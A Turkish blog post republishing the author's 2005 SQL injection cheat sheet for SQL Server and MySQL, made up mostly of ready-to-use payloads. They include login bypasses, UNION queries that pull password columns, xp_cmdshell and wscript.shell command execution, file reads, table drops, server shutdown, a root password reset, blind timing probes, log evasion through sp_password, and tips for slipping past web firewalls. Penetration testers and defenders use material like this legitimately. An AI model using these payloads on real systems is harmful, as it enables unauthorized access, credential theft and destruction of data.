Türkçe SQL Injection Referansı
Bildiğiniz üzere büyük bir SQL Injection Cheat Sheet dokümanını sitede uzun zamandır sürdürüyorum, bugün bilgisayarda bazı dokümanları ararken 2005' ten kalma hazırladığım Türkçe SQL Injection referans dokümanını buldum. Tekrar sabit diskin karanlık sularına gömülmeden sitede yayınlamak istedim. Bunun harici ORACLE SQL Injection Cheat Sheet' i de daha önceden yayınlamıştım.
Ek olarak eğer SQL Injection hakkında yeterli bilginiz yoksa, daha önceden yazdığım SQL Injection Videoları ve Makalelerini okuyabilir ve izleyebilirsiniz.
- SQL Injection Derslerine Giriş
- SQL Injection' a Giriş ve SQL Injection Nedir?
- SQL Injection Videosu
- Başka bir kullanıcı olarak giriş yapma
- SQL Injection Test Laboratuarı Kurma
- SQL Injection neden dolayı oluşur ve Nasıl Korunulur?
- SQL Injection' dan Korunma Videosu
Bu da Türkçe SQL Injection Cheat Sheet' in online versiyonu. Bazı notları ingilizce almışım, kusura bakmayın o konuda.
SQL Injection için kısa referans
Ferruh Mavituna, 2005-06-10
Ön Bilgi
Bir çok teknik sadece SQL Server’ da çalışacaktır.
Referans
- “--“ SQL Cümleciğini sonlandırır (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)
- “;” İkinci SQL cümleciğinin çalışmasına izin verir
Login Screen
- Login olabilme
- admin’ –
- ‘ or 1=1—
- ...
- Farklı bir kullanıcı olarka login olma
- ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--
Hatalardan İlerleme (yapıyı oluşturma I)
Sırasıyla..
- ‘ having 1=1 –
- ‘ group by hatadangelen.id having 1=1—
- ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
- Hata almayı bitirince tablo bitti demektir.
- Ek olarak order by ile de union da kaç kolon çekildiği bulunabilir.
- ORDER BY 1—
- ORDER BY 2—
c. … bu şekilde ilerlenir. Hata verdiği yer – 1 çekilen kolon sayısını gösterir.
Data Tiplerini Bulma (yapıyı oluşturma II)
- Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
- ‘ union select sum(tipibulunacakalan) from users—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. - Hata kodu bize verdiğimiz alanin varchar olduğunu söyledi.
- Eğer hata kodu union işlemi ile ilgiliyse yada hata gelmiyorsa verdiğimiz alan numeric demektir.
- Union işlemlerde NULL kullanılabilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
- 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
No Error - Syntax is right. MS SQL Server Used. Proceeding. - 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
No Error – First column is an integer. - 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
Error! – Second column is not an integer. - 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
No Error – Second column is a string. - 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
Error! – Third column is not an integer. ... - Convert ve Errorlar ile field tipi bulma - convert(image,1)
- SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
- Microsoft OLE DB Provider for SQL Server error '80040e07'
Explicit conversion from data type int to image is not allowed. - You’ll get convert() errors before union target errors ! So start with convert() then union
Data Ekleme
- '; insert into users values( 666, 'attacker', 'foobar', 0xffff )—
Sistem Hakkında Bilgi Toplama
Data convert işlemlerinde SQL Server detaylı hata mesajları döndürür;
- ' union select @@version,1,1,1--
SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çalışılmalı ! )
Data Alma
- ' union select min(username),1,1,1 from users where username > 'admin'--
Users tablosundaki username’ e integerlara uygulanan min() denediğinden ve string i de çekmiş olduğundan hata mesajı olarak çekilmiş olan username gelecektir. - ' union select password,1,1,1 from users where username = 'admin'—
Bir önceki işlemde bulduğu username i direk union ile getiriyor - ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
- User defined Tables
SELECT name FROM sysobjects WHERE xtype = ‘U’ - Field Getirme
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’) - Record ilerletme
WHERE users NOT IN (‘First User’, ‘Second User’) - Record ilerletme 2
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
Advanced Yöntemler
T-SQL ile bir tablodaki tüm datayı tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.
set @ret=':'
select @[email protected]+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end
The attacker 'logs in' with this 'username' (all on one line, obviously…)
- Username: '; begin declare @ret varchar(8000) set @ret=':' select @[email protected]+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
- ' union select ret,1,1,1 from foo--
convert hatası alacağından dolayı direk az önce insert edilen stringleri getirir. - Teoriye göre eğer SQL Server Local System Account’ ı ile çalışıyorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
- Linked serverlarda query çalıştırılabilir (openquery)
- Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yazılıp çalıştırabilir. (sp_addextendedproc)
- Bulk Insert ile serverdaki herhangi bir dosya okunabilir
- create table foo( line varchar(8000) )
- bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
- Şimdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
- Text dosyası yazma (BCP – Login bilgisi gerekli)
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar - “sa” olarak login olduk mu?
if (select user) = 'sa' waitfor delay '0:0:5' - ActiveX desteğinden dolayı scripting kullanılabilir (VBS, WSH)
wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' -- - SQL Server’ı konuşturma (maymunluk olsun diye yapılabilir)
- Tırnak Kullanmadan SQL Yazmak
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
veya sadece numerik değerler ile data girilebilir
insert into users values( 667, 123, 123, 0xffff)
SQL Server integerları otomatik olarak varchar a çeviriyor. - Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
Özel Tablolar
- Hata Mesajları
select * from master..sysmessages - Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullanıldıysa)
master..sysservers - Şifreler, Loginler
master..sysxlogins
Tablo / Server Modifikasyon
- Tablo Silme
'; drop table foo--
Functions
- SQL Server’ ı kapa (shutdown)
‘; shutdown— - Bekleme (waitfor delay)
Bir şeyin pasif/gizli olarak çalışıp çalışmadığını anlamak için
waitfor delay '0:0:10'—
kullanımı çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çeşitli kontroller yapılabilir yada basitçe harmless bir şekilde eklenen SQL cümleciklerinin gerçekten çalışıp çalışmadığı kontrol edilebilir.
Atak Gizleme
SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglamıyor. Bu durumda her çalıştırılan komut ardından ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log oluşsa da içeriği oluşmuyor.
SQL Injection Tespiti
Normalde SQL Injection basit şekilde tek tırnak (‘) vs. Koyarak çıkan hataya göre tespti edilebilir. Ancak bazı uygulamaları hataları gizleyebilir, yada siz arkadaki yada hata olduğunda direk varsayılandan devam etme gibi özelliklere sahip olabilir. Bunun yanında bir diğer kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.
Ek olarak software based server da çalışan web firewall ları genelde pattern olarak (Snort gibi IDS lerde bu şekilde) status code larında “500” veya benzer hata kodlarını eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olayın trace noktasında da bu bir kolaylıktır.
Bu noktada daha önceden bahsi geçen “waitfor delay” kullanışlı bir fonksiyondur. Ek olarak daha da pratik mantık SQL ün aynı işi yapmasını sağlayan queryler oluşturmaktır, ama tabii ki tırnak yada SQL de çalışacak fonksiyonlar kullanarak.
- product.asp?id=4
- product.asp?id=5-1
- product.asp?id=4 OR 1=1
- product.asp?name=Book
- product.asp?name=Bo’+’ok
- product.asp?name=Bo’ || ’ok (ORACLE)
- product.asp?name=Book’ OR ‘x’=’x
Stored Procedures
- Cmd Execute (xp_cmdshell)
exec master..xp_cmdshell 'dir' - Registry İşlemleri (xp_regread)
Registry’ e yazma okuma vs. İşlemleri. - xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' - Servisleri Kontrol Etmek (xp_servicecontrol)
- Sistemdeki Medyaları Görme (xp_availablemedia)
- Directory Tree sini alma (xp_dirtree)
- ODBC Resourceları Listeleme (xp_enumdsn)
- Login modeunu bulma (xp_loginconfig)
- Cab Arşiv Oluşturma (xp_makecab)
- Domainleri Bulma (xp_ntsec_enumdomains)
- PID ile process terminate etme (xp_terminate_process)
- Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çalıştırılabilir)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
exec xp_webserver - Stored Procedure Silme (sp_dropextendedproc)
- Dışarıya UNC dahil dosya yazma (sp_makewebtask)
Other
- OleDB driver ile çalıştırılan SQL’ lerde union vs. Ler çalışmayabilir
- Execute() ile çalıştırılanlar sağlamdır
MySQL Injection
- After MySQL 4.0 you can “Union” queries
- For SQL comments use /*mysql comment*/
- Unions are just like SQL Server unions same fields, same types required
- @@version is available, you can use it in unions
- You can hex-encoded strings
- select 'c:/boot.ini'
- or
- select 0x633a2f626f6f742e696e69
- MySQL can load DLL and run arbitary code
- Subqueries version 4.1+
- MySQL Passwords
- In versions prior to 4.1, the password hash can be used to
authenticate directly with the database. Just recompile MySQL Client to login with hash. - Other versions use SHA1
- SELECT User,Password FROM mysql.user;
- SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
- In versions prior to 4.1, the password hash can be used to
MySQL (Custom) Functions & UDF
- substring
- query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
- SELECT ... INTO DUMPFILE
- Write query into a new file (can not modify existing file)
- UDF Function
- create function LockWorkStation returns integer soname 'user32';
- select LockWorkStation();
- create function ExitProcess returns integer soname 'kernel32';
- select exitprocess();
- SELECT USER();
- SELECT password,USER() FROM mysql.user;
- First byte of admin hash
- SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
MySQL Samples
UPDATE user
SET Password=PASSWORD('crack')
WHERE user='root';
FLUSH PRIVILEGES;
MySQL Load_File
- With unions you can read a file
- query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL Load Data Infile
- By default it’s not avaliable !
- create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
- create table foo( line blob );
Timing & Blind MySQL Injection
- select benchmark( 500000, sha1( 'test' ) );
- query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
- select if( user() like '[email protected]%', benchmark(100000,sha1('test')), 'false' );
- Enumeration data, Guessed Brute Force
- select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Stored Procedure Injection
- Eğer SQL bir şekilde ASP ile unsafe parametrelerle oluşturulup gönderiliyorsa bu güvenli değildir. Stored Procedure olsa bile.
- Eğer parametrelerde ADO Command gibi bir şeyler ile gönderiliyorsa ve doğru implemente edildiyse güvenlidir.
sp_who '1' select * from sysobjects
or
sp_who '1'; select * from sysobjects
Second Order SQL Injection
Zor bir metod, temel olarak arda arda birbirinin datasının kullanan SQL’ lerde kullanılabilir. Temel boşluk bu tip yerlerde ikinci SQL birinci SQL den datayı aldığından ona gözü kapalı güvenmesidir yani gelen data kullanıcıdan değil de aplikasyondan geldiğinden tekrar kontrol edilmez genelde.
- Bir sistemde yeni kullanıcı şu şekilde oluşturulur;
Username: admin'--
Password: password - Bu şu Insert’ i çalıştırır;
insert into users values( 123, 'admin''--', 'password', 0xffff ) - Şifre değiştirme ekranındaki durum şu şekilde olacaktır;
Kontrol;
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'"; - Şifre Update işlemi;
sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
Bu adımda bir önceki SQL dönen username direk kullandığında filtreden geçemeyeceğinden direk olarak şu SQL çalışmış olacaktır;
update users set password = 'password' where username = 'admin'--'
Bu da admin şifresinin istenilen şifreye değiştirecektir.
Second Order Insert SQL Injection
Form dolurulurken şu şekilde doldurulur;
Name : ‘ + (SELECT TOP 1 password FROM users ) + ’
Email : [email protected] vs...
Notes
- On Unions sometimes you have deal with page restrictions like FormatCurrency(), you shouldn’t supply NULL to FormatCurrency() function.
References
- Advanced SQL Injection In SQL Applications, Chris Anley
- Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
- Hackproofing MySQL, Chris Anley